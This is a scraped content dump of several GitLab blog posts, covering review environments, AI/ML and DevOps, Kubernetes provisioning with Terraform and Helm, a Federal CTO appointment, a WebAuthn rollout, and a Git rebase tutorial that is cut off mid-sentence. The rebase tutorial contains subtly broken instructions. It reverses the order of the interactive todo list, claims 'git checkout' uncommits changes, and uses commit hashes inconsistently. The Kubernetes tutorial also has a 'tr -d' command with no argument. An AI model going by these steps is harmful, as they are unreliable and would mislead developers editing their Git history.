`environment:on_stop:` in the deploy-review job is what maps to the `stop_review` named job. This is the magic sauce behind automatic environment deletion when a feature branch is merged. `stop_review` must be written with the correct commands to accomplish the teardown.\n\n## A reusable engineering pattern\n\nThis CloudFormation pattern serves as a higher-level pattern of how GitLab review environments can be adopted to any other cloud “Application Level PaaS.” This is a term I use to indicate a cloud PaaS that is abstracted highly enough that developers think of it as “a place to deploy applications.” Perhaps a good way to contrast it with PaaS that does not claim to serve as an entire application platform. Cloud-based load balancers are a good example of a PaaS that performs a utility function for applications but is not a place to build an entire cloud application. \n\n## Application PaaS for abstracting IaC concerns for developers\n\nGitLab auto deploy combines well with the cloud application framework PaaS that has a disposition toward developer productivity by reducing or eliminating IaC management required by developers. AWS Amplify has such productivity support in the form of a developer specific CLI which allows impacting to be authored and updated in the same Git repository where the application code is stored. Adding an entire scaling database PaaS is as simple as running a single CLI command.\n\nGenerally such Application PaaS not only generate and help maintain IaC through highly abstracted CLI or UI actions, they also contain a single `deploy` command which is easily combined with a GitLab Auto Deploy template for working with that particular Application PaaS.\n\n## Wrap up\n\nHopefully this article has helped you understand that:\n\n- GitLab already contains a super valuable feature that automates developer environment lifecycle management.\n- It is critical in addressing a key friction in the DevOps value chain.\n- It can be extended beyond Kubernetes to other cloud application framework PaaS offerings.\n\n\nPhoto by [Sandeep Singh](https://unsplash.com/@funjabi?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/friction?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[4103,2488,944],{"slug":11775,"featured":6,"template":678},"environment-friction-cycle","content:en-us:blog:environment-friction-cycle.yml","Environment Friction Cycle","en-us/blog/environment-friction-cycle.yml","en-us/blog/environment-friction-cycle",{"_path":11781,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11782,"content":11788,"config":11794,"_id":11796,"_type":16,"title":11797,"_source":17,"_file":11798,"_stem":11799,"_extension":20},"/en-us/blog/how-is-ai-ml-changing-devops",{"title":11783,"description":11784,"ogTitle":11783,"ogDescription":11784,"noIndex":6,"ogImage":11785,"ogUrl":11786,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11786,"schema":11787},"How is AI/ML changing DevOps?","Can DevOps help AI/ML find maturity? Here are questions to consider.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667540/Blog/Hero%20Images/devops-team-structure.jpg","https://about.gitlab.com/blog/how-is-ai-ml-changing-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How is AI/ML changing DevOps?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2022-11-16\",\n      }",{"title":11783,"description":11784,"authors":11789,"heroImage":11785,"date":11791,"body":11792,"category":8943,"tags":11793},[11790],"Brendan O'Leary","2022-11-16","\n\nThe last few years have seen an explosion in artificial intelligence, [machine learning](/blog/top-10-ways-machine-learning-may-help-devops/), and other types of projects. Companies like Hugging Face and applications like [DALL-E 2](https://openai.com/dall-e-2/) have brought to the mainstream what the power of AI/ML can bring to the next generation of computing and software. As every company has become a software company over the last few decades, the ability to innovate and leverage the ever-growing amount of data that organizations have access to have become where enterprises turn to compete.\n\nHowever, a lot of AI/ML projects get stalled from several challenges that may seem familiar to software professionals who have been around since [the early days of DevOps](/blog/the-journey-to-a-devops-platform/).  Adoption and optimization of artificial intelligence and machine learning have been hampered by a lack of repeatability for experiments, a disparity of tools and information silos, and a lack of team collaboration.\n\n## A new model for data modeling\n\nOne of the first ways to look at this problem is to make sure that the mental model is in place to allow the team to reason about both the strategic vision for AI/ML at your organization. And once that has been established, also think about the tactical “jobs to be done” to lay the foundation for that work.\n\nStrategically, there are many teams that have to come together for a successful AI/ML program. First, the data has to both be acquired and transformed into a usable set of clean data. Often referred to as [“DataOps”](/blog/introducing-modelops-to-solve-data-science-challenges/) this involves the typical “ETL” or extract, load, transform processes data has to go through to be useful for teams. From there, you have to productionize the data workloads through MLOps - the experimentation, training, testing, and deployment of meaningful models based on the extracted and transformed data.\n\nAnd once those two steps are complete, you can finally understand how to make production use cases for your data. You can use AI Assisted features to focus on improving user experiences, for financial forecasting, or for general trends and analysis of various parts of your business. Given the complexity of this value chain, the various teams and skills involved, and the current mishmash of tooling, there is a lot that teams can learn from the history of DevOps as they tackle these problems.\n\n## DevOps and AI/ML\n\nMuch like the various stages of obtaining and applying AI/ML for business uses, software development consists of many varied steps with different teams and skills sets to achieve the business goals outlined. That is why years ago, folks came up with this [concept of “DevOps”](/topics/devops/)– combining teams and having them work together in a cycle of continuous improvement towards the same goals – to combat silos and inefficiencies. \n\nData science teams are using specialized tools that don't integrate with the existing software development lifecycle tools they already use. This causes teams to work in silos, creating handoff friction and resulting in finger-pointing and lack of predictability. Businesses and software teams often fail to take advantage of data, and it takes months for models to get into production by which time they may be out of date or behind competitors.  Security and data ethics are frequently treated as an afterthought. This creates risk for organizations and slows innovation. \n\n## Learning from the past\n\nIf the past decades of “DevOps” evolution have taught us anything, it's that breaking down the silos between teams through the tools and processes they are using pays off dividends for business. As your team begins their [AI/ML journey](/blog/why-ai-in-devops-is-here-to-stay/) — or if you've found yourself stalling in AI/ML initiatives already — you should consider how you can consolidate teams together, ensure they are working efficiently together, and able to collaborate without boundaries.\n\nAn explosion of tools in the space is tantalizing with the promise of “getting started” quickly. But it may not set your organization up for long-term success in these areas if those tools have the effect of separating parts of your organization from one another. Creating and sustaining an AI/ML program will require intentionality behind both the processes and tools your team is using. That allows your teams to extract, transform and load data efficiently, tune, test and deploy models effectively, and leverage AI/ML to drive value for your stakeholders for the long haul.\n",[4103,232,1268,790],{"slug":11795,"featured":6,"template":678},"how-is-ai-ml-changing-devops","content:en-us:blog:how-is-ai-ml-changing-devops.yml","How Is Ai Ml Changing Devops","en-us/blog/how-is-ai-ml-changing-devops.yml","en-us/blog/how-is-ai-ml-changing-devops",{"_path":11801,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11802,"content":11808,"config":11813,"_id":11815,"_type":16,"title":11816,"_source":17,"_file":11817,"_stem":11818,"_extension":20},"/en-us/blog/simple-kubernetes-management-with-gitlab",{"title":11803,"description":11804,"ogTitle":11803,"ogDescription":11804,"noIndex":6,"ogImage":11805,"ogUrl":11806,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11806,"schema":11807},"Simple Kubernetes management with GitLab","Follow our tutorial to provision a Kubernetes cluster and manage it with IAC using Terraform and Helm in 20 minutes or less.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670037/Blog/Hero%20Images/auto-deploy-google-cloud.jpg","https://about.gitlab.com/blog/simple-kubernetes-management-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Simple Kubernetes management with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2022-11-15\",\n      }",{"title":11803,"description":11804,"authors":11809,"heroImage":11805,"date":11810,"body":11811,"category":734,"tags":11812},[2621],"2022-11-15","\n\nKubernetes can be very complex and has dozens of tutorials out there on how to provision and manage a cluster. This tutorial aims to provide a simple, lightweight solution to provision a Kubernetes cluster and manage it with infrastructure as code (IaC) using Terraform and Helm in 20 minutes or less.\n\n**The final product of this tutorial will be two IaC repositories with fully functional CI/CD pipelines:**\n\n1. [gitlab-terraform-k8s](https://gitlab.com/gitlab-org/configure/examples/gitlab-terraform-eks) - A single source of truth to provision, configure, and manage your Kubernetes infrastructure using Terraform\n1. [cluster-management](https://gitlab.com/gitlab-org/project-templates/cluster-management) - A single source of truth to define the desired state of your Kubernetes cluster using the GitLab Agent for Kubernetes and Helm\n\n![Final Product](https://about.gitlab.com/images/blogimages/2022-11-11-simple-kubernetes-management-with-gitlab/final-product.png){: .shadow}\n\n\n### Prerequisites\n- AWS or GCP account with permissions to provision resources\n- GitLab account \n- Access to a GitLab Runner\n- 20 minutes\n\n### An overview of this tutorial is as follows:\n\n1. Set up the GitLab Terraform Kubernetes Template 🏗️\n2. Register the GitLab Agent 🕵️\n3. Add in Cloud Credentials ☁️🔑\n4. Set up the Kubernetes Cluster Management Template 🚧\n5. Enjoy your Kubernetes Cluster completely managed in code! 👏\n\n## Set up the GitLab Terraform Kubernetes Template\n\nStart by importing the example project by URL - [https://gitlab.com/projects/new#import_project](https://gitlab.com/projects/new#import_project)\n\nTo import the project:\n\n1. In GitLab, on the top bar, select **Main menu > Projects > View all projects**.\n2. On the right of the page, select **New project**.\n3. Select **Import project**.\n4. Select **Repository by URL**.\n5. For the Git repository URL:\n- [GCP Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine): https://gitlab.com/gitlab-org/configure/examples/gitlab-terraform-gke.git\n- [AWS Elastic Kubernetes Service](https://aws.amazon.com/eks/): https://gitlab.com/gitlab-org/configure/examples/gitlab-terraform-eks.git\n6. Complete the fields and select **Create project**.\n\n## Register the GitLab Agent\n\nWith your newly created **gitlab-terraform-k8s** repo, create a GitLab Agent for Kubernetes:\n\n1. On the left sidebar, select **Infrastructure > Kubernetes clusters**. Select **Connect a cluster (agent).**\n2. From the **Select an agent** dropdown list, select **eks-agent/gke-agent and select **Register an agent**.\n3. GitLab generates a registration token for the agent. **Securely store this secret token, as you will need it later.**\n4. GitLab provides an address for the agent server (KAS). Securely store this as you will also need it later.\n5. Add this to the **gitlab-terraform-eks/.gitlab/agents/eks-agent/config.yaml** in order to allow the GitLab Agent to have access to your entire group.\n\n```yaml\nci_access:\n  groups:\n    - id: your-namespace-here\n```\n\n![Register GitLab Agent](https://about.gitlab.com/images/blogimages/2022-11-11-simple-kubernetes-management-with-gitlab/register-gitlab-agent.png){: .shadow}\n\n\n## Add in your Cloud Credentials to CI/CD variables\n\n### [AWS EKS](https://aws.amazon.com/eks/)\n\nOn the left sidebar, select **Settings > CI/CD. Expand Variables**.\n1. Set the variable **AWS_ACCESS_KEY_ID** to your AWS access key ID.\n2. Set the variable **AWS_SECRET_ACCESS_KEY** to your AWS secret access key.\n3. Set the variable **TF_VAR_agent_token** to the agent token displayed in the previous task.\n4. Set the variable **TF_VAR_kas_address** to the agent server address displayed in the previous task.\n\n![Add in CI/CD variables](https://about.gitlab.com/images/blogimages/2022-11-11-simple-kubernetes-management-with-gitlab/cicd-variables.png){: .shadow}\n\n\n### [GCP GKE](https://cloud.google.com/kubernetes-engine)\n\n1. To authenticate GCP with GitLab, create a GCP service account with the following roles: **Compute Network Viewer, Kubernetes Engine Admin, Service Account User, and Service Account Admin**. Both User and Admin service accounts are necessary. The User role impersonates the default service account when creating the node pool. The Admin role creates a service account in the kube-system namespace.\n2. **Download the JSON file** with the service account key you created in the previous step.\n3. On your computer, encode the JSON file to base64 (replace /path/to/sa-key.json to the path to your key):\n\n```\nbase64 -i /path/to/sa-key.json | tr -d\n```\n\n- Use the output of this command as the **BASE64_GOOGLE_CREDENTIALS** environment variable in the next step.\n\nOn the left sidebar, select **Settings > CI/CD. Expand Variables**.\n5. Set the variable **BASE64_GOOGLE_CREDENTIALS** to the base64 encoded JSON file you just created.\n6. Set the variable **TF_VAR_gcp_project** to your GCP’s project name.\n7. Set the variable **TF_VAR_agent_token** to the agent token displayed in the previous task.\n8. Set the variable **TF_VAR_kas_address** to the agent server address displayed in the previous task.\n\n## Run GitLab CI to deploy your Kubernetes cluster!\n\n![Deploy Kubernetes cluster](https://about.gitlab.com/images/blogimages/2022-11-11-simple-kubernetes-management-with-gitlab/pipeline-view.png){: .shadow}\n\nWhen successfully completed, view the cluster in the AWS/GCP console!\n\n![AWS EKS](https://about.gitlab.com/images/blogimages/2022-11-11-simple-kubernetes-management-with-gitlab/aws-eks.png){: .shadow}\n\n### You are halfway done! 👏 Keep it up!\n\n## Set up the Kubernetes Cluster Management Project\n\nCreate a project from the cluster management project template - [https://gitlab.com/projects/new#create_from_template](https://gitlab.com/projects/new#create_from_template)\n\n1. In GitLab, on the top bar, select **Main menu > Projects > View all projects**.\n2. On the right of the page, select **New project**.\n3. Select **Create from template**.\n4. From the list of templates, next to **GitLab Cluster Management**, select **Use template**.\n5. Enter the project details. Ensure this project is created in the same namespace as the gitlab-terraform-k8s project.\n6. Select **Create project**.\n7. Once the project is created on the left sidebar, select **Settings > CI/CD. Expand Variables**.\n8. Set the variable KUBE_CONTEXT to point to the GitLab Agent. For example, `noah-ing-demos/infrastructure/gitlab-terraform-eks:eks-agent`.\n\n![Set Kube Context](https://about.gitlab.com/images/blogimages/2022-11-11-simple-kubernetes-management-with-gitlab/kube-config.png){: .shadow}\n\n\n- **Uncomment the applications you'd like to be installed** into your Kubernetes cluster in the **helmfile.yaml**. In this instance I chose ingress, cert-manager, prometheus, and Vault. \n\n![Uncomment Applications in helmfile](https://about.gitlab.com/images/blogimages/2022-11-11-simple-kubernetes-management-with-gitlab/helmfile.png){: .shadow}\n\nThat will trigger your **CI/CD pipeline** and it should look like this.\n\n![Cluster Management CI/CD](https://about.gitlab.com/images/blogimages/2022-11-11-simple-kubernetes-management-with-gitlab/cluster-management-cicd.png){: .shadow}\n\nOnce completed, **go to the AWS/GCP console** and check out all the deployed resources!\n\n![Deployed EKS applications](https://about.gitlab.com/images/blogimages/2022-11-11-simple-kubernetes-management-with-gitlab/deployed-eks-applications.png){: .shadow}\n\n### Voila! 🎉\n\n## Enjoy your Kubernetes cluster completely defined in code! 👏👏👏\n\nNow with these two repositories you can **manage a Kubernetes cluster entirely through code**:\n\n- For managing the Kubernetes cluster's infrastructure and configuring its resources you can make changes to the [gitlab-terraform-eks](https://gitlab.com/gitlab-org/configure/examples/gitlab-terraform-eks) repository you have setup. This project has a **Terraform CI/CD pipeline** that will allow you to **review, provision, configure, and manage your Kubernetes** infrastructure with ease.\n\n- For managing the desired state of the Kubernetes cluster, the [cluster-management](https://gitlab.com/gitlab-org/project-templates/cluster-management) repository has a **GitLab Agent** set up and will **deploy any Kubernetes objects defined in the helm files**.\n\n➡️ Bonus: If you'd like to deploy your own application to the Kubernetes cluster, then add to your **cluster-management** `helmfile` and see the GitLab Agent for Kubernetes roll it out with ease!\n\n\n## References\n- [Create a New GKE Cluster](https://docs.gitlab.com/ee/user/infrastructure/clusters/connect/new_gke_cluster.html)\n- [Create a New EKS Cluster](https://docs.gitlab.com/ee/user/infrastructure/clusters/connect/new_eks_cluster.html)\n- [Cluster Management Project](https://docs.gitlab.com/ee/user/clusters/management_project.html)\n\n\n## Related posts\n- [The ultimate guide to GitOps with GitLab](https://about.gitlab.com/blog/the-ultimate-guide-to-gitops-with-gitlab/)\n- [GitOps with GitLab: Infrastructure provisioning with GitLab and Terraform](https://about.gitlab.com/blog/gitops-with-gitlab-infrastructure-provisioning/)\n- [GitOps with GitLab: Connect with a Kubernetes cluster](https://about.gitlab.com/blog/gitops-with-gitlab-connecting-the-cluster/)\n",[696,2509,534,1384,1385,4103],{"slug":11814,"featured":6,"template":678},"simple-kubernetes-management-with-gitlab","content:en-us:blog:simple-kubernetes-management-with-gitlab.yml","Simple Kubernetes Management With Gitlab","en-us/blog/simple-kubernetes-management-with-gitlab.yml","en-us/blog/simple-kubernetes-management-with-gitlab",{"_path":11820,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11821,"content":11827,"config":11832,"_id":11834,"_type":16,"title":11835,"_source":17,"_file":11836,"_stem":11837,"_extension":20},"/en-us/blog/gitlab-names-joel-krooswyk-as-its-first-federal-cto",{"title":11822,"description":11823,"ogTitle":11822,"ogDescription":11823,"noIndex":6,"ogImage":11824,"ogUrl":11825,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11825,"schema":11826},"GitLab names Joel Krooswyk as its first Federal CTO","New role reaffirms company’s commitment to the public sector.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669378/Blog/Hero%20Images/bab_cover_image.jpg","https://about.gitlab.com/blog/gitlab-names-joel-krooswyk-as-its-first-federal-cto","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab names Joel Krooswyk as its first Federal CTO\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-11-14\",\n      }",{"title":11822,"description":11823,"authors":11828,"heroImage":11824,"date":11829,"body":11830,"category":736,"tags":11831},[711],"2022-11-14","[Gitlab Federal](/solutions/public-sector/), LLC, provider of The One DevOps Platform for the public sector, announced that [Joel Krooswyk](https://gitlab.com/jkrooswyk), former Senior Manager of Solutions Architecture, has been named Federal CTO.\n\n![Photo of Joel Krooswyk](https://about.gitlab.com/images/blogimages/krooswyk.jpg){: .shadow.small.left.wrap-text}\n\n“The creation of the Federal CTO position recognizes the importance of the public sector in the world of DevSecOps. Joel’s experience allows him to provide expert insight to government agencies as they seek guidance on DevOps practices, building software factories, meeting compliance requirements and more,” says [Bob Stevens](https://gitlab.com/bstevens1), Vice President of Public Sector at GitLab. “We are excited to reaffirm our commitment to the public sector through this new role and Joel’s appointment.”\n\nAs Federal CTO, Krooswyk will ensure that GitLab has a voice in developing key [DevSecOps](/topics/devsecops/) practices coming from standards bodies, Congressional committees, industry working groups, and other influential organizations. He also will assist GitLab in continuing to build and strengthen relationships with federal DevSecOps professionals to help them streamline and secure their software development environments with a DevSecOps platform.\n\n“This is an exciting time in DevSecOps, and the federal government is on the leading edge, helping navigate such challenging issues as software supply chain security and regulatory compliance. I am thrilled to step into this new role and to be GitLab’s voice at the table, ensuring that our software development and security technology and practices are reflected in efforts across the public sector,” Krooswyk says.\n\nKrooswyk has actively been involved in GitLab’s growth since 2017. He has 25 years of experience in the software industry. His experience spans development, QA, product management, portfolio planning, and technical sales, and he has written a half million lines of unique code throughout his career. Joel holds a B.S. in Electrical Engineering from Purdue University as well as multiple industry certifications.",[736,4103,676,185],{"slug":11833,"featured":6,"template":678},"gitlab-names-joel-krooswyk-as-its-first-federal-cto","content:en-us:blog:gitlab-names-joel-krooswyk-as-its-first-federal-cto.yml","Gitlab Names Joel Krooswyk As Its First Federal Cto","en-us/blog/gitlab-names-joel-krooswyk-as-its-first-federal-cto.yml","en-us/blog/gitlab-names-joel-krooswyk-as-its-first-federal-cto",{"_path":11839,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11840,"content":11846,"config":11852,"_id":11854,"_type":16,"title":11855,"_source":17,"_file":11856,"_stem":11857,"_extension":20},"/en-us/blog/how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days",{"title":11841,"description":11842,"ogTitle":11841,"ogDescription":11842,"noIndex":6,"ogImage":11843,"ogUrl":11844,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11844,"schema":11845},"How we boosted WebAuthn adoption from 20 percent to 93 percent in two days","With phishing campaigns on the rise across the industry, we accelerated rollout of a program to further enhance our security hygiene program. This is how we did it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682498/Blog/Hero%20Images/webauthn.jpg","https://about.gitlab.com/blog/how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we boosted WebAuthn adoption from 20 percent to 93 percent in two days\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eric Rubin\"}],\n        \"datePublished\": \"2022-11-09\",\n      }",{"title":11841,"description":11842,"authors":11847,"heroImage":11843,"date":11849,"body":11850,"category":674,"tags":11851},[11848],"Eric Rubin","2022-11-09","\nIn light of the high-profile phishing campaigns that breached public technology companies (e.g. [Twilio](https://techcrunch.com/2022/08/08/twilio-breach-customer-data/), [Uber](https://www.wired.com/story/uber-hack-mfa-phishing/), [Dropbox](https://www.securityweek.com/hackers-stole-source-code-personal-data-dropbox-following-phishing-attack), and others), GitLab decided to accelerate the implementation of the next phase of our security hygiene program, which would further enhance our security posture. As part of this acceleration, GitLab’s IT and Security teams recommended a swift adoption of phishing-resistant authentication across the entire company.\n\n## What did we decide to implement?\n\nWe already required multi-factor authentication (MFA) for all team members to log in to Okta, our primary launching point for the SaaS applications we use. The majority of our team members were primarily using the Okta Verify mobile app for push notifications, although they also had the options of using time-based one-time password ([TOTP](https://www.techtarget.com/searchsecurity/definition/time-based-one-time-password-TOTP)) codes, or [WebAuthn/FIDO2](https://webauthn.guide/) devices such as biometric (for example, Touch ID and Face ID) or security keys. \n\nWe decided to mandate the use of WebAuthn devices as the sole method for logging into Okta and remove other methods, and to get almost all team members enrolled within 48 hours from the date of launch.\n\n## Why is using WebAuthn important?\n\nOther two-factor authentication methods have known limitations. We already prohibited the use of SMS as a method for MFA as it is vulnerable to [SIM swap attacks](https://9to5mac.com/2021/10/01/protections-against-sim-swap/#:~:text=A%20port%2Dout%20attack%20is,new%20account%2C%20which%20they%20control); additionally, SMS provides a long duration for the texted code to be used by a phisher on the legitimate website. TOTP codes have a shorter duration, but still could allow for [relay attacks](https://intel471.com/blog/otp-password-bots-telegram). Push-based MFA such as the Okta Verify mobile app is vulnerable to [MFA fatigue attacks](https://www.uber.com/newsroom/security-update), where an attacker repeatedly bombards the user in the hope that they either get frustrated and approve a notification to make it stop, or otherwise accidentally approve one. \n\nWe decided that we needed to go back to fundamentals – strong MFA that is phishing-resistant. WebAuthn uses public cryptography, which verifies that the website you are logging into is the correct one. Additionally, the website only allows specifically enrolled devices to complete the authentication. The WebAuthn device effectively takes the human out of the loop – you can’t send the credentials to a phishing site. \n\n## How did we communicate the change to mandatory WebAuthn?\n\nThe communication to team members about the transition to WebAuthn started with a company wide Slack announcement from our CEO and co-founder [Sid Sijbrandij](https://gitlab.com/sytses). The message was delivered on a Tuesday evening Pacific Time, with an implementation completion date of Thursday evening Pacific Time. \n\nWe also:\n- Created a dedicated Slack channel for team member questions.\n- Circulated a Google Doc FAQ with more than 47 questions populated by team members and answered by the [DRI](/handbook/people-group/directly-responsible-individuals/) for the implementation or other team members. At GitLab everyone is encouraged to contribute.\n- Highlighted the change in our internal newsletter.\n- Added documentation, including easy-to-follow instructions, to our [handbook](/handbook/business-technology/okta/).\n\n## How did we implement the change to WebAuthn?\n\nHow could we roll out WebAuthn so quickly, with more than 1,700 team members working remotely across more than 65 countries? We had already started the ball rolling earlier this year. First, we pre-tested with a small group of IT, and then company-wide volunteers, providing instructions for team members to use. Uptake was low though, so we knew we had to be more assertive. \n\nGitLab is a majority Mac company, so we were able to take advantage of the built-in Touch ID capability already available on team members' laptops. It was also very helpful that users were familiar with the technology from using it on their smartphones.\n\nFor the ~5% of users who are on Linux, we instructed them to use their YubiKeys, and if they didn’t already have one, we facilitated delivery via Yubico’s [YubiEnterprise Delivery](https://www.yubico.com/products/yubienterprise-delivery/). We allowed any team member who wanted a YubiKey to get one via our deal, including Mac users who wanted to use Firefox ([Touch ID isn’t supported yet](https://bugzilla.mozilla.org/show_bug.cgi?id=1536482)), those who work with their laptop docked and didn’t want a new Touch ID external keyboard, or any other reason. In all, we had about 20% of our team members take up our offer to obtain YubiKeys.\n\nOur biggest win after the start of rollout was the discovery of how to add new WebAuthn devices to Okta (such as a new laptop or smartphone) via QR code scanning. This meant that as long as team members had a single enrolled device (either their laptop or their phone), they could [self-service](/handbook/business-technology/okta/#i-want-to-add-touch-id--face-id-to-okta-for-my-mobile-device-iphone-android-tablet) the WebAuthn enrollment of a new device, without requiring IT Helpdesk support. This helped us to speed the rollout and reinforced our security posture at a quicker pace, and meant that we didn’t have to send all team members YubiKeys that would only be used in the relatively rare event of needing to enroll a new device.\n\n## Initial results \n\nAfter the Slack announcement was posted, our IT Helpdesk team held virtual “office hours” on Zoom staffed for at least two hours per region. During the virtual office hours team members could drop in and get real-time help. After 24 hours from the launch of the initiative, we found that 80% of team members had already enrolled!\n\nTo push us further along, a Slack Bot was created and customized messages were sent directly to team members who had not yet enrolled and their managers. This additional step brought our enrollment efforts to the 93% mark of our team members.\n\nAt our deadline, we implemented carefully crafted new policies in Okta, locking down the vast majority of team members to using only WebAuthn. Small exception groups were created for those on PTO (because it would be frustrating for them and create unnecessary troubleshooting requests for the IT Helpdesk), as well as some users awaiting arrival of their shipped YubiKeys.\n\nThe new Okta policy and communication efforts were quite successful for us, and we have been pleased at the low volume of support requests, given the magnitude of the change and the timeframe given.\n\n## Going forward \n\nWe know that [threat vectors are always evolving](/blog/top-challenges-to-securing-the-software-supply-chain/) and we will continue to monitor them closely. We also will continue to assess our security posture and iterate to make improvements as needed.\n\nCover image by [FLY:D](https://unsplash.com/@flyd2069) on Unsplash.\n{: .note}\n",[674,1268,676],{"slug":11853,"featured":6,"template":678},"how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days","content:en-us:blog:how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days.yml","How We Boosted Webauthn Adoption From 20 Percent To 93 Percent In 2 Days","en-us/blog/how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days.yml","en-us/blog/how-we-boosted-webauthn-adoption-from-20-percent-to-93-percent-in-2-days",{"_path":11859,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11860,"content":11866,"config":11871,"_id":11873,"_type":16,"title":11874,"_source":17,"_file":11875,"_stem":11876,"_extension":20},"/en-us/blog/rebase-in-real-life",{"title":11861,"description":11862,"ogTitle":11861,"ogDescription":11862,"noIndex":6,"ogImage":11863,"ogUrl":11864,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11864,"schema":11865},"How to use Git rebase in real life","From fixup to autosquash here are real world ways to leverage Git rebase.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682486/Blog/Hero%20Images/rebase-in-real-life.jpg","https://about.gitlab.com/blog/rebase-in-real-life","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use Git rebase in real life\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Toon Claes\"}],\n        \"datePublished\": \"2022-11-08\",\n      }",{"title":11861,"description":11862,"authors":11867,"heroImage":11863,"date":11868,"body":11869,"category":734,"tags":11870},[2167],"2022-11-08","\n\nMy colleague [Chris](/company/team/#chriscool) recently wrote about [how to take advantage of Git\nrebase](/blog/take-advantage-of-git-rebase/). In this post we'll\nexplain how you can take these techniques, and apply them to daily developer life.\n\n## Fixup\n\nImagine you have created a merge request, and there are some pipeline failures\nand some comments from reviews, and suddenly your [commit history](/blog/keeping-git-commit-history-clean/) looks something\nlike this:\n\n```shell\n$ git log --oneline\n\n8f8ef5af (HEAD -> my-change) More CI fixes\ne4fb7935 Apply suggestion from reviewer\nc1a1bec6 Apply suggestion from reviewer\n673222be Make linter happy\na0c30577 Fix CI failure for X\n5ff160db Implement feature Y\nf68080e3 Implement feature X\n3cdbc201 (origin/main, origin/HEAD, main) Merge branch 'other-change' into 'main'\n...\n```\n\nIn this example there are 2 commits implementing feature X and Y, followed by a\nhandful of commits that aren't useful on their own. We used the fixup feature of\nGit rebase to get rid of them.\n\n### Finding the commit\n\nThe idea of this technique is to integrate the changes of these follow-up\ncommits into the commits that introduced each feature. This means for each\nfollow-up commit we need to determine which commit they belong to.\n\nBased on the filename you may already know which commits belong together, but if\nyou don't you can use git-blame to find the commit.\n\n```shell\ngit blame \u003Crevision> -L\u003Cstart>,\u003Cend> \u003Cfilename>\n```\n\nWith the option `-L` we'll specify a range of a line numbers we're interested in.\nHere `\u003Cend>` cannot be omitted, but it can be the same as `\u003Cstart>`. You can\nomit `\u003Crevision>`, but you probably shouldn't because you want to skip over the\ncommits you want to rebase away. Your command will look something like this:\n\n```shell\n$ git blame 5ff160db -L22,22 app/model/user.rb\n\nf68080e3 22) scope :admins, -> { where(admin: true) }\n```\n\nThis tells us line `22` was touched by `f68080e3 Implement feature X`.\n\nNow repeat this step until you know the commit for each of the commits you want\nto rebase out.\n\n### Interactive rebase\n\nThe next step is to start the interactive rebase:\n\n```shell\n$ git rebase -i main\n```\n\nHere you're presented with the list of instructions in your `$EDITOR`:\n\n``` text\npick 8f8ef5af More CI fixes\npick e4fb7935 Apply suggestion from reviewer\npick c1a1bec6 Apply suggestion from reviewer\npick 673222be Make linter happy\npick a0c30577 Fix CI failure for X\npick 5ff160db Implement feature Y\npick f68080e3 Implement feature X\n```\n\nNow you'll need to change these instructions to something like this:\n\n```text\nfixup 8f8ef5af More CI fixes\nfixup e4fb7935 Apply suggestion from reviewer\nfixup 673222be Make linter happy\npick 5ff160db Implement feature Y\nfixup c1a1bec6 Apply suggestion from reviewer\nfixup a0c30577 Fix CI failure for X\npick f68080e3 Implement feature X\n```\n\nAs you can see I've reordered the commits, and I've changed some occurrences of\n`pick` to `fixup`.\n\nThe Git rebase will process this list bottom-to-top. It takes each line with\n`pick` and uses its commit message. On each line starting with `fixup` it\nintegrates the changes into the commit below. When you've saved this file and\nclosed your `$EDITOR`, the Git history will look something like this:\n\n```shell\n$ git log --oneline\n\ne880c726 (HEAD -> my-change) Implement feature Y\ne088ea06 Implement feature X\n3cdbc201 (origin/main, origin/HEAD, main) Merge branch 'other-change' into 'main'\n...\n```\n\n## Autosquash\n\nUsing autosquash can be an alternative technique to the above. First we'll\nuncommit all the commits we want to get rid of.\n\n```shell\ngit checkout f68080e3\n```\n\nNow all changes only exist in your working tree, and are gone from the commit\nhistory. You can use `git add` or `git add -p` to stage all changes related to\n`e088ea06 Implement feature X`. Instead of running `git commit` or `git commit -m`\nwe'll use the `--fixup` option:\n\n```shell\n$ git commit --fixup e088ea06\n```\n\nNow the history will look something like:\n\n```shell\n$ git log --oneline\n\ne744646b (HEAD -> my-change) fixup! Implement feature X\n5ff160db Implement feature Y\nf68080e3 Implement feature X\n3cdbc201 (origin/main, origin/HEAD, main) Merge branch 'other-change' into 'main'\n...\n```\n\nAll remaining changes should now belong to `5ff160db Implement feature Y` so 